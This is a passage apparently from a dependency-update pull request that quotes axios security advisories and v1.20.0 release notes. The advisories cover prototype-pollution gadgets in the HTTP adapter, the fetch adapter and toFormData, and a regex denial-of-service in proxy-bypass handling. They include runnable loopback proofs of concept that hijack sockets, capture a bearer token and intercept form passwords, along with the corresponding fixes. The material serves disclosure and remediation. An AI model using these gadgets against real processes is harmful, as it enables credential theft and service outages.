prototype pollution. - Requests using a custom trusted transport that ignores inherited `createConnection` and sanitizes options internally. ##### Technical Details `lib/adapters/http.js` creates: ```js const options = Object.assign(Object.create(null), { path, method, headers, agents: { http: httpAgent, https: httpsAgent }, auth, protocol, family, beforeRedirect: dispatchBeforeRedirect, beforeRedirects: Object.create(null), http2Options, }); ``` The object does not include an own `createConnection` property. Local verification on axios `1.18.1` polluted `Object.prototype.createConnection` to connect to an attacker loopback server. A request to a legitimate loopback server with an Authorization header returned the attacker's response; the legitimate server received no request and the attacker server received `Bearer SECRET`. ##### Proof of Concept of Attack Constrained local demonstration: ```js Object.prototype.createConnection = function (_options, cb) { const socket = net.createConnection({ host: '127.0.0.1', port: attackerPort }, () => { if (typeof cb === 'function') cb(null, socket); }); return socket; }; await axios.get('http://127.0.0.1:<legit-port>/secret', { headers: { Authorization: 'Bearer SECRET' }, proxy: false }); ``` Expected safe behavior is that the legitimate server receives the request. Current affected behavior lets the attacker server receive the request and return the response. ##### Workarounds Run axios in a process where prototype pollution is not present. For high-risk internal clients, use a custom trusted transport or agent layer that sets and enforces its own connection creation behavior instead of allowing inherited Node request options to participate. <details> <summary><h3>Original report</h3></summary> ##### Summary Axios' Node HTTP adapter remains exploitable as a read-side prototype-pollution gadget after the recent null-prototype hardening. This is not a claim that axios creates the prototype pollution source. The precondition is a separate upstream prototype pollution primitive in the same Node.js process. When `Object.prototype.createConnection` is polluted, axios requests can be redirected to an attacker-controlled socket even though the adapter builds the request options with `Object.create(null)`. The request URL and axios config still appear to target the legitimate host, but the actual socket is attacker-controlled. This allows credential exfiltration and response manipulation for later axios HTTP requests in a polluted process. ##### Impact Given an upstream prototype pollution primitive in the same process, an attacker can turn later axios HTTP requests into a man-in-the-middle primitive: - redirect the underlying socket for axios requests to attacker-controlled infrastructure - receive headers and request bodies intended for the legitimate target, including bearer tokens, cookies, API keys, and service credentials - return attacker-controlled responses to the caller - bypass application SSRF controls that validate the URL before calling axios, because the requested URL remains legitimate while the socket connects elsewhere The important boundary here is axios' documented/read-side prototype-pollution hardening. The project threat model discusses polluted `Object.prototype` from transitive dependencies as an in-scope read-side gadget class where axios should avoid picking up inherited behavior-changing properties. This issue is a bypass of that hardening at the Node HTTP request-options boundary. ##### Technical details The HTTP adapter constructs a null-prototype request options object before calling the selected transport: ```js const options = Object.assign(Object.create(null), { path, method: method, headers: toByteStringHeaderObject(headers), agents: { http: config.httpAgent, https: config.httpsAgent }, auth, protocol, family, beforeRedirect: dispatchBeforeRedirect, beforeRedirects: Object.create(null), http2Options, }); ``` That prevents direct inherited reads while the options object remains null-prototype. However, Node's HTTP client path copies or normalizes request options into ordinary objects before connection creation. After that copy, missing properties can resolve from `Object.prototype` again. `createConnection` is a sensitive Node HTTP option. If it is inherited after this copy, Node calls the attacker-supplied function to create the socket. ##### Reproduction The following minimal proof uses a legitimate target server and an attacker server. It pollutes `Object.prototype.createConnection`, then makes an axios request to the legitimate server with an Authorization header. ```js import net from 'node:net'; import http from 'node:http'; import axios from 'axios'; function listen(handler) { return new Promise(resolve => { const s = http.createServer(handler); s.listen(0, '127.0.0.1', () => resolve(s)); }); } const legitHits = []; const attackerHits = []; const legit = await listen((req, res) => { legitHits.push({url: req.url, auth: req.headers.authorization || null}); res.end('LEGIT'); }); const attacker = await listen((req, res) => { attackerHits.push({url: req.url, auth: req.headers.authorization || null}); res.end('ATTACKER'); }); Object.prototype.createConnection = function(options, cb) { const sock = net.createConnection({ host: '127.0.0.1', port: attacker.address().port, }, () => { if (typeof cb === 'function') cb(null, sock); }); return sock; }; const res = await axios.get(`http://127.0.0.1:${legit.address().port}/secret`, { headers: {Authorization: 'Bearer SECRET'}, proxy: false, }); console.log({ response: res.data, legitHits, attackerHits, }); ``` Observed result on the current npm package: ```json { "response": "ATTACKER", "legitHits": [], "attackerHits": [ { "url": "/secret", "auth": "Bearer SECRET" } ] } ``` The request never reached the intended target. The attacker-controlled server received the Authorization header and supplied the response body returned by axios. ##### Versions tested I reproduced this against: - axios 1.16.1 from npm - axios 1.17.0 from npm - current `v1.x` source at commit `a8e4f13aeecc45a3b8fab3ecfd9ddb5d70fb772b` ##### Fix validation Adding an own safe value for `createConnection` to the adapter options object prevents inherited pollution from being observed after Node's option copy: ```js const options = Object.assign(Object.create(null), { path, method: method, headers: toByteStringHeaderObject(headers), agents: { http: config.httpAgent, https: config.httpsAgent }, auth, protocol, family, beforeRedirect: dispatchBeforeRedirect, beforeRedirects: Object.create(null), http2Options, createConnection: undefined, }); ``` With that guard in place, the same proof no longer calls the polluted function. The legitimate server receives the request, the attacker server receives nothing, and axios returns the legitimate response. ##### Remediation Set own safe defaults for sensitive Node HTTP request options before calling `transport.request`, at minimum: ```js createConnection: undefined ``` I recommend reviewing other sensitive Node HTTP options that may be read after Node copies the request options into a normal object, especially connection/TLS-affecting fields such as `lookup`, `timeout`, `localAddress`, `servername`, `signal`, and related options. </details> --- #### Severity - CVSS Score: 7.6 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-m8m8-qj5v-23w3](https://github.com/axios/axios/security/advisories/GHSA-m8m8-qj5v-23w3) - [https://nvd.nist.gov/vuln/detail/CVE-2026-101905](https://nvd.nist.gov/vuln/detail/CVE-2026-101905) - [https://github.com/axios/axios/pull/11141](https://github.com/axios/axios/pull/11141) - [https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a](https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v1.20.0](https://github.com/axios/axios/releases/tag/v1.20.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-m8m8-qj5v-23w3) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: ReDoS (O(N²)) in shouldBypassProxy host normalization, reachable via untrusted redirect Location [CVE-2026-101906](https://nvd.nist.gov/vuln/detail/CVE-2026-101906) / [GHSA-mghh-pgcx-3jjj](https://github.com/advisories/GHSA-mghh-pgcx-3jjj) <details> <summary>More information</summary> #### Details ##### Summary Axios `shouldBypassProxy()` normalizes hostnames with `hostname.replace(/\.+$/, '')`. For a hostname shaped as many dots followed by a non-dot, the anchored regex can perform quadratic backtracking. Because axios re-evaluates proxy bypass rules for redirected requests, a malicious server can trigger this synchronous work through a crafted redirect `Location`. The issue affects Node.js applications that use environment proxy variables with `NO_PROXY` and allow redirects. ##### Impact An attacker-controlled server can return a redirect whose hostname causes the axios process to spend significant CPU time in synchronous hostname normalization. During this time, the Node.js event loop is blocked and the application cannot handle other work on that thread. This is an availability-only issue. It does not disclose request data or modify requests. ##### Affected Functionality Affected: - Node.js HTTP adapter. - Environment proxy handling through `HTTP_PROXY` or `HTTPS_PROXY`. - `NO_PROXY` or `no_proxy` set to a non-empty value. - Redirects followed by axios or `follow-redirects`. Not affected: - Browser adapters. - Requests with `proxy: false`. - Requests with no `NO_PROXY` value. - Requests with `maxRedirects: 0`, unless application code manually follows the malicious redirect and re-enters axios. ##### Technical Details `lib/helpers/shouldBypassProxy.js` contains: ```js return unmapIPv4MappedIPv6(hostname.replace(/\.+$/, '')); ``` When the hostname is `"." * n + "a"`, the `$` anchor causes the regex engine to retry the dot run from many positions before it fails. `setProxy()` invokes `shouldBypassProxy(location)` after `getProxyForUrl(location)` returns a proxy, including on redirect hops via `beforeRedirects.proxy`. Local timing on axios `1.18.1` showed increasing cost for crafted hostnames: about 1 ms at 1000 dots, 6.9 ms at 3000 dots, and 34.5 ms at 6000 dots. The growth is consistent with the submitted quadratic claim while avoiding long-running payloads. ##### Proof of Concept of Attack Constrained helper-level demonstration: ```js import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js'; process.env.NO_PROXY = 'example.com'; shouldBypassProxy('http://' + '.'.repeat(6000) + 'a/'); ``` In the full adapter path, a malicious server can return that hostname in a `302 Location` header while the client has proxy environment variables and `NO_PROXY` configured. ##### Workarounds Disable automatic redirects for requests to untrusted servers, or avoid environment proxy handling for those requests with `proxy: false` when appropriate. Operators can also avoid broad untrusted redirect-following in services where event-loop availability is critical. <details> <summary><h3>Original report</h3></summary> ##### Summary shouldBypassProxy normalizes a host with hostname.replace(/\.+$/, ''). On a host of the shape <many dots><non-dot> (e.g. "." × 40000 + "a"), this anchored regex backtracks quadratically (O(N²)), synchronously starving the Node.js event loop. Because axios re-evaluates the proxy on every redirect using the new Location host, a malicious server can return a crafted 302 Location and freeze the client's event loop for seconds per redirect — a denial of service. ##### Details - Affected code: lib/helpers/shouldBypassProxy.js → normalizeNoProxyHost: hostname.replace(/\.+$/, '') (one pass in 1.18.1). The open PR #&#8203;11029 adds a second /\.+$/ pass in normalizeIPAddress, doubling the cost (not the origin). - Root cause: /\.+$/ is O(N²) on a long run of dots that is not at the end of the string — the $ anchor forces the engine to backtrack the entire dot-run from every start position. - Trust boundary (per THREATMODEL): the redirect Location is untrusted (T-2: "axios to network … redirect Location … untrusted"). The caller requests a benign URL; the malicious host arrives via the server's 302. This is not the T-1 caller-supplied-URL non-goal. - Call chain: setProxy(options, configProxy, location, isRedirect, …) (lib/adapters/http.js) → env-proxy branch → getProxyForUrl(location) returns a proxy → if (!shouldBypassProxy(location)) → normalizeNoProxyHost(parsed.hostname.toLowerCase()) runs /\.+$/. setProxy is re-invoked on the redirect hop with the untrusted Location; new URL() retains the long dot-run in .hostname. - Preconditions: proxy configured via environment (HTTP_PROXY/HTTPS_PROXY, trusted per THREATMODEL T-3, common in CI/containers/enterprise) + NO_PROXY set + redirects followed (default maxRedirects: 5). ##### PoC Self-contained, no network — imports axios's own helper: // node poc.mjs (run next to an axios install) import sbp from './node_modules/axios/lib/helpers/shouldBypassProxy.js'; process.env.NO_PROXY = 'example.com'; for (const n of [5000, 10000, 20000, 40000]) { const url = 'http://' + '.'.repeat(n) + 'a/'; // arrives as an untrusted 302 Location host const t0 = process.hrtime.bigint(); sbp(url); // returns false (correct no-bypass) — but O(N^2) slow console.log(`N=${n}: ${(Number(process.hrtime.bigint()-t0)/1e6)|0} ms`); } // Measured on 1.18.1: N=5000 ~43ms, 10000 ~160ms, 20000 ~618ms, 40000 ~2499ms; benign host ~0.05ms. Driven through the real http-adapter __setProxy on the redirect path (setProxy(…, isRedirect=true)), a 10 ms timer fires 0 times during the ~2.4 s block at N=40000 — full event-loop starvation. ##### Impact Denial of service (event-loop starvation) on any axios client that uses an environment proxy with NO_PROXY set and follows redirects, when a server it contacts returns a crafted redirect Location. No data exposure or RCE. Same impact class as the accepted DoS advisories GHSA-62hf-57xw-28j9 (toFormData recursion) and the maxContentLength response-size DoS. ##### Suggested fix Replace the regex trailing-dot strip with a linear trim: let end = hostname.length; while (end > 0 && hostname.charCodeAt(end - 1) === 46 /* '.' */) end--; hostname = hostname.slice(0, end); Also drop the redundant second /\.+$/ pass in PR #&#8203;11029's normalizeIPAddress. </details> --- #### Severity - CVSS Score: 8.2 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-mghh-pgcx-3jjj](https://github.com/axios/axios/security/advisories/GHSA-mghh-pgcx-3jjj) - [https://nvd.nist.gov/vuln/detail/CVE-2026-101906](https://nvd.nist.gov/vuln/detail/CVE-2026-101906) - [https://github.com/axios/axios/pull/11141](https://github.com/axios/axios/pull/11141) - [https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a](https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v1.20.0](https://github.com/axios/axios/releases/tag/v1.20.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-mghh-pgcx-3jjj) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Prototype pollution gadget in fetch adapter can alter outbound requests [CVE-2026-101908](https://nvd.nist.gov/vuln/detail/CVE-2026-101908) / [GHSA-vh66-26gq-q6x8](https://github.com/advisories/GHSA-vh66-26gq-q6x8) <details> <summary>More information</summary> #### Details ##### Summary Axios fetch adapter requests can be altered by inherited properties on `fetchOptions`. The adapter resolves method, headers, body, signal, and credentials into `resolvedOptions`, creates a `Request`, and then calls `fetch(request, fetchOptions)` instead of `fetch(request, resolvedOptions)`. In runtimes such as Node's undici-backed fetch, inherited `fetchOptions.headers` can override the headers already placed on the `Request`. Axios does not create the prototype pollution source. This is a read-side gadget that becomes exploitable after same-process prototype pollution. ##### Impact An attacker with a prior prototype-pollution primitive can cause affected fetch-adapter requests to send attacker-controlled headers and drop caller-specified headers. This can affect authorization, cache behavior, metadata-service interactions, or application-specific header-based controls. The issue is specific to fetch-adapter behavior and does not affect Node HTTP adapter requests. ##### Affected Functionality Affected: - `adapter: 'fetch'`. - Runtime environments where the fetch adapter is selected. - Requests where `fetchOptions` is an object that does not have safe own values for sensitive fetch init fields. Not affected: - Node HTTP adapter. - Requests that do not use the fetch adapter. - Processes where `Object.prototype` is not polluted. ##### Technical Details `lib/adapters/fetch.js` builds: ```js const resolvedOptions = { ...fetchOptions, signal: composedSignal, method: method.toUpperCase(), headers: toByteStringHeaderObject(headers.normalize()), body: data, duplex: 'half', credentials: isCredentialsSupported ? withCredentials : undefined, }; request = isRequestSupported && new Request(url, resolvedOptions); let response = await (isRequestSupported ? _fetch(request, fetchOptions) : _fetch(url, resolvedOptions)); ``` The fallback path without `Request` uses `resolvedOptions`, but the `Request` path passes the original `fetchOptions` as the second argument to `fetch()`. That second argument can contain inherited properties from `Object.prototype`. Local verification on axios `1.18.1` set `Object.prototype.headers = { Authorization: 'Bearer POLLUTED' }` and called the fetch adapter with `headers: { 'X-Good': 'yes' }, fetchOptions: {}`. The loopback server received `Authorization: Bearer POLLUTED` and did not receive `X-Good`. ##### Proof of Concept of Attack Constrained local demonstration: ```js Object.prototype.headers = { Authorization: 'Bearer POLLUTED' }; try { await axios.get(url, { adapter: 'fetch', headers: { 'X-Good': 'yes' }, fetchOptions: {} }); } finally { delete Object.prototype.headers; } ``` Expected safe behavior is that the sanitized axios headers remain in force. Current behavior can use the inherited fetch init headers instead. ##### Workarounds Use the Node HTTP adapter for security-sensitive server-side requests until fixed. If the fetch adapter must be used, avoid passing empty `fetchOptions` objects in processes where prototype pollution is possible, and set explicit safe own values for fetch init fields. <details> <summary><h3>Original report</h3></summary> Hello, I’m not completely sure if this is something you’d consider a security issue, since it depends on prototype pollution happening somewhere else first, but I wanted to report it just in case. I was testing the fetch adapter with polluted prototype values and found that `Object.prototype.headers` can change the request axios sends. The issue seems to be in `lib/adapters/fetch.js`. Axios creates a `Request` with the resolved headers/method/body, but then sends it with `fetch(request, fetchOptions)`. With undici, if `fetchOptions` doesn’t have its own headers, an inherited `Object.prototype.headers` value can be used during the final fetch call. I tested it with this: ```js import http from 'node:http'; import axios from 'axios'; const server = http.createServer((req, res) => { res.end(JSON.stringify({ authorization: req.headers.authorization || null, xGood: req.headers['x-good'] || null })); }); await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)); const { port } = server.address(); Object.prototype.headers = { Authorization: 'Bearer POLLUTED' }; try { const res = await axios.get(`http://127.0.0.1:${port}/`, { adapter: 'fetch', headers: { 'X-Good': 'yes' }, fetchOptions: {} }); console.log(res.data); } finally { delete Object.prototype.headers; server.close(); } ``` The result I get is: ```json { "authorization": "Bearer POLLUTED", "xGood": null } ``` So the polluted Authorization header is sent, and the normal axios header is not. Changing the fetch call to pass the already resolved options fixes it for me: ```diff - _fetch(request, fetchOptions) + _fetch(request, resolvedOptions) ``` `resolvedOptions` already includes `...fetchOptions`, so custom fetch options should still work, while headers, method, body, and signal stay as clean own values. </details> --- #### Severity - CVSS Score: 6.9 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-vh66-26gq-q6x8](https://github.com/axios/axios/security/advisories/GHSA-vh66-26gq-q6x8) - [https://nvd.nist.gov/vuln/detail/CVE-2026-101908](https://nvd.nist.gov/vuln/detail/CVE-2026-101908) - [https://github.com/axios/axios/pull/11141](https://github.com/axios/axios/pull/11141) - [https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a](https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v1.20.0](https://github.com/axios/axios/releases/tag/v1.20.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-vh66-26gq-q6x8) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Prototype Pollution Gadget in axios toFormData Options [CVE-2026-101909](https://nvd.nist.gov/vuln/detail/CVE-2026-101909) / [GHSA-x97p-jq2g-jp4f](https://github.com/advisories/GHSA-x97p-jq2g-jp4f) <details> <summary>More information</summary> #### Details ##### Summary Axios form serialization reads `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob` from an internal options object without own-property guards. When `Object.prototype` has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies. Axios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures. ##### Impact The impact depends on which property is polluted and which axios serialization path the application uses. Polluted `dots`, `indexes`, or `metaTokens` can change field names and cause the receiving service to parse different data than the caller intended. Polluted `maxDepth` can cause nested form submissions to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`, producing request-level or service-level denial of service for affected workflows. Polluted `visitor` can execute as the serializer visitor if an attacker can place a function on `Object.prototype`, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully. ##### Affected Functionality Affected: - `axios.toFormData()`. - `transformRequest` paths that serialize plain objects to `multipart/form-data`. - URL-encoded form serialization paths that rely on the same helper. - `formSerializer` option defaults when the relevant properties are absent as own properties. Not affected: - JSON request bodies. - Requests that do not invoke `toFormData()`. - Processes where `Object.prototype` is not polluted. ##### Technical Details `lib/helpers/toFormData.js` merges caller options with defaults using `utils.toFlatObject()`. When `options` is `undefined`, `toFlatObject()` returns the default object unchanged: ```js { metaTokens: true, dots: false, indexes: false } ``` That default object has `Object.prototype` in its prototype chain. `toFormData()` then reads behavior-affecting values directly: ```js const metaTokens = options.metaTokens; const visitor = options.visitor || defaultVisitor; const dots = options.dots; const indexes = options.indexes; const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob); const maxDepth = options.maxDepth === undefined ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth; ``` These reads can resolve inherited polluted properties. Local code review confirmed the direct reads in `v1.18.1`. Tag checks show the option-based form serializer exists in `v0.28.0` and later; `maxDepth` appears in the `1.x` line from the form recursion fix. ##### Proof of Concept of Attack Constrained local demonstration: ```js Object.prototype.maxDepth = 1; await axios.post(url, { a: { b: { c: 'value' } } }, { headers: { 'Content-Type': 'multipart/form-data' } }); ``` Expected safe behavior is that the default max depth is used unless the caller sets an own `formSerializer.maxDepth`. Current behavior reads the inherited value and can throw `ERR_FORM_DATA_DEPTH_EXCEEDED`. For serializer alteration, polluting `Object.prototype.dots = true` changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior. ##### Workarounds Avoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own `formSerializer` object that sets explicit safe values for all relevant keys, including `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob`. <details> <summary><h3>Original report</h3></summary> ##### Summary _axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (`visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, `Blob`) are read from a plain JavaScript object that inherits from `Object.prototype` without `hasOwnProperty` guards. When `Object.prototype` has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios' form serialization behavior._ _The highest-impact gadget is `visitor`: a polluted function on `Object.prototype.visitor` is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments._ ##### Details ##### Root Cause _The attack chain has three steps:_ _**Step 1: `formSerializer` is read safely, but `undefined` flows through**_ _In `lib/defaults/index.js`, the default `transformRequest` function reads `formSerializer` from config using the `own()` helper, which enforces `hasOwnProp`:_ ```js const formSerializer = own(this, 'formSerializer'); ``` _When the user does not explicitly configure `formSerializer`, this correctly returns `undefined`. That `undefined` is then passed as the `options` parameter to `toFormData()`:_ ```js return toFormData(data, _FormData && new _FormData(), formSerializer); // ^^^^^^^^^^^^ undefined ``` _**Step 2: `toFlatObject` returns a plain-object default**_ _Inside `lib/helpers/toFormData.js`, `options` (which is `undefined`) is merged with defaults via `utils.toFlatObject()`:_ ```js options = utils.toFlatObject( options, // undefined { metaTokens: true, dots: false, indexes: false }, // plain object literal false, function defined(option, source) { return !utils.isUndefined(source[option]); } ); ``` _`toFlatObject` has an early-return for null/undefined sources:_ ```js // lib/utils.js:607 if (sourceObj == null) return destObj; ``` _Since `options` is `undefined`, the function returns `destObj` unchanged — the plain object `{ metaTokens: true, dots: false, indexes: false }`. This object's prototype is `Object.prototype`._ _**Step 3: Options are read without `hasOwnProp` guards**_ _The six option properties are read directly from the plain object:_ ```js const metaTokens = options.metaTokens; // line 117 const visitor = options.visitor || defaultVisitor; // line 119 const dots = options.dots; // line 120 const indexes = options.indexes; // line 121 const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob); // line 122 const maxDepth = options.maxDepth === undefined // line 123 ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth; ``` _None of these reads use `utils.hasOwnProp()`. Since the `options` object inherits from `Object.prototype`, any property set on `Object.prototype` by a compromised dependency is resolved through the prototype chain._ ##### Why the Existing Defenses Didn't Catch This _axios has extensive prototype pollution defenses. However, those defenses are all focused on the **config** object (created by `mergeConfig`, which returns `Object.create(null)`). The `toFormData` function creates its own internal options object that sits outside that boundary, and the 6 reads on that internal object were never audited._ ##### PoC ##### Reproduction Steps ##### Environment _Any environment with Node.js and npm. Tested on:_ _- Node.js v24.15.0, npm 11.13.0_ _- axios v1.18.1 (latest release at time of writing)_ ##### Step 1: Create a fresh project ```bash mkdir axios-pp-poc cd axios-pp-poc npm init -y npm install axios@1.18.1 ``` ##### Step 2: Create the PoC file _Create `poc.mjs` with the following content:_ ```js import axios from 'axios'; import http from 'http'; // Simulate pollution from a compromised transitive dependency let stolen = []; Object.prototype.visitor = function(value, key, path, helpers) { stolen.push({ key, value }); return helpers.defaultVisitor.call(this, value, key, path); }; Object.prototype.maxDepth = 2; const server = http.createServer((req, res) => { res.writeHead(200); res.end('{}'); }); server.listen(0, '127.0.0.1', async () => { const { port } = server.address(); try { // Exfiltration: visitor intercepts all form fields await axios.post(`http://127.0.0.1:${port}/`, { username: 'john', password: 'SuperSecret123!', profile: { ssn: '123-45-6789' } }, { headers: { 'Content-Type': 'multipart/form-data' } }); console.log('Stolen:', stolen); // Stolen: [ // { key: 'username', value: 'john' }, // { key: 'password', value: 'SuperSecret123!' }, // { key: 'profile', value: { ssn: '123-45-6789' } }, // { key: 'ssn', value: '123-45-6789' } // ] // DoS: nested object rejected by polluted maxDepth await axios.post(`http://127.0.0.1:${port}/`, { a: { b: { c: { d: 'value' } } } }, { headers: { 'Content-Type': 'multipart/form-data' } } ); // Throws: ERR_FORM_DATA_DEPTH_EXCEEDED // "Object is too deeply nested (3 levels). Max depth: 2" } finally { delete Object.prototype.visitor; delete Object.prototype.maxDepth; server.close(); } }); ``` ##### Step 3: Run the PoC ```bash node poc.mjs ``` ##### Impact ##### 1. Data Exfiltration via `visitor` (Confidentiality: High) _A polluted `Object.prototype.visitor` function is called as the form data visitor:_ ```js visitor.call(formData, el, key, path, exposedHelpers) ``` _The attacker receives:_ _- **`value`** — the raw value being serialized (passwords, tokens, PII, API keys)_ _- **`key`** — the field name_ _- **`path`** — the full path array (e.g., `['profile', 'address', 'street']`)_ _- **`exposedHelpers`** — internal helpers including `defaultVisitor`, `convertValue`, `isVisitable`_ _By delegating to `helpers.defaultVisitor`, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server._ ##### 2. Denial of Service via `maxDepth` (Availability: Low) _A polluted `Object.prototype.maxDepth` of `1` or `2` causes any moderately nested form data request to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`. Applications that send nested objects as form data (common with APIs that accept `profile[name]`, `address[city]`, etc.) will experience mysterious failures._ ##### 3. Data Corruption via `dots`, `indexes`, `metaTokens` (Integrity: Low) _Polluting these options changes the serialization format of form field names:_ _- **`dots: true`** — changes bracket notation (`user[name]`) to dot notation (`user.name`)_ _- **`indexes: true`** — changes array serialization (`items[]`) to indexed (`items[0]`, `items[1]`)_ _- **`metaTokens: false`** — changes `obj{}` keys to raw json strings_ _The server may misinterpret the submitted form data, leading to silent data corruption._ </details> --- #### Severity - CVSS Score: 8.3 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-x97p-jq2g-jp4f](https://github.com/axios/axios/security/advisories/GHSA-x97p-jq2g-jp4f) - [https://nvd.nist.gov/vuln/detail/CVE-2026-101909](https://nvd.nist.gov/vuln/detail/CVE-2026-101909) - [https://github.com/axios/axios/pull/11141](https://github.com/axios/axios/pull/11141) - [https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a](https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a) - [https://github.com/axios/axios/commit/d29be181f85f6fe93397a07b1f69606d9622637b](https://github.com/axios/axios/commit/d29be181f85f6fe93397a07b1f69606d9622637b) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v0.34.0](https://github.com/axios/axios/releases/tag/v0.34.0) - [https://github.com/axios/axios/releases/tag/v1.20.0](https://github.com/axios/axios/releases/tag/v1.20.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-x97p-jq2g-jp4f) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>axios/axios (axios)</summary> ### [`v1.20.0`](https://github.com/axios/axios/releases/tag/v1.20.0) [Compare Source](https://github.com/axios/axios/compare/v1.19.0...v1.20.0) #### v1.20.0 — August 19, 2026 This release hardens runtime option handling, adds RFC 9110 status-code aliases, fixes Node.js and XHR reliability issues, and refreshes project tooling and documentation. #### ⚠️ Breaking Changes & Deprecations - HTTP Status Naming: Added ContentTooLarge (413) and UnprocessableContent (422), while retaining PayloadTooLarge and UnprocessableEntity as backward-compatible deprecated aliases. ([#&#8203;11082](https://github.com/axios/axios/issues/11082)) #### 🔒 Security Fixes - Runtime Option Handling: Hardened behavioral configuration reads against shared and foreign prototype pollution and normalized unsafe interceptor replacement objects. This also clarifies Fetch redirect and custom implementation behavior, HTTP/2 DNS and proxy handling, CIDR-based NO\_PROXY matching, and malformed data URI rejection; see the PR for documented compatibility effects. ([#&#8203;11141](https://github.com/axios/axios/issues/11141)) #### 🐛 Bug Fixes - Interceptor Lifecycle: Prevented unbounded handler-array growth by trimming trailing ejected interceptors without changing iteration semantics, and kept interceptor operations safe when the public handlers field is nullish. ([#&#8203;11087](https://github.com/axios/axios/issues/11087), [#&#8203;11118](https://github.com/axios/axios/issues/11118)) - Request Error Preservation: Prevented custom Error.prepareStackTrace implementations that return non-string values from replacing the original request failure with an unrelated TypeError. ([#&#8203;11109](https://github.com/axios/axios/issues/11109)) - XHR Reliability: Navigation-canceled requests now reject with ECONNABORTED instead of resolving with status 0, while successful downloads flush their final progress callback during the live loadend dispatch. ([#&#8203;11094](https://github.com/axios/axios/issues/11094), [#&#8203;11121](https://github.com/axios/axios/issues/11121)) - Node.js Socket Memory: Removed request-context retention from per-socket error listeners, preventing completed response data from being pinned for the lifetime of pooled keep-alive sockets. ([#&#8203;11091](https://github.com/axios/axios/issues/11091)) - Core Methods and HTTP Errors: Prevented structural method-header buckets from leaking into outgoing headers, standardized invalid DNS lookup and httpVersion failures as AxiosError.ERR\_BAD\_OPTION\_VALUE, and corrected the timeoutErrorMessage merge strategy. ([#&#8203;11096](https://github.com/axios/axios/issues/11096)) #### 🔧 Maintenance & Chores - Dependencies: Updated fast-uri, postcss, js-yaml, mocha, development-tooling groups, and GitHub Actions dependencies. ([#&#8203;11092](https://github.com/axios/axios/issues/11092), [#&#8203;11098](https://github.com/axios/axios/issues/11098), [#&#8203;11099](https://github.com/axios/axios/issues/11099), [#&#8203;11106](https://github.com/axios/axios/issues/11106), [#&#8203;11107](https://github.com/axios/axios/issues/11107), [#&#8203;11122](https://github.com/axios/axios/issues/11122), [#&#8203;11123](https://github.com/axios/axios/issues/11123), [#&#8203;11126](https://github.com/axios/axios/issues/11126), [#&#8203;11127](https://github.com/axios/axios/issues/11127), [#&#8203;11133](https://github.com/axios/axios/issues/11133), [#&#8203;11140](https://github.com/axios/axios/issues/11140), 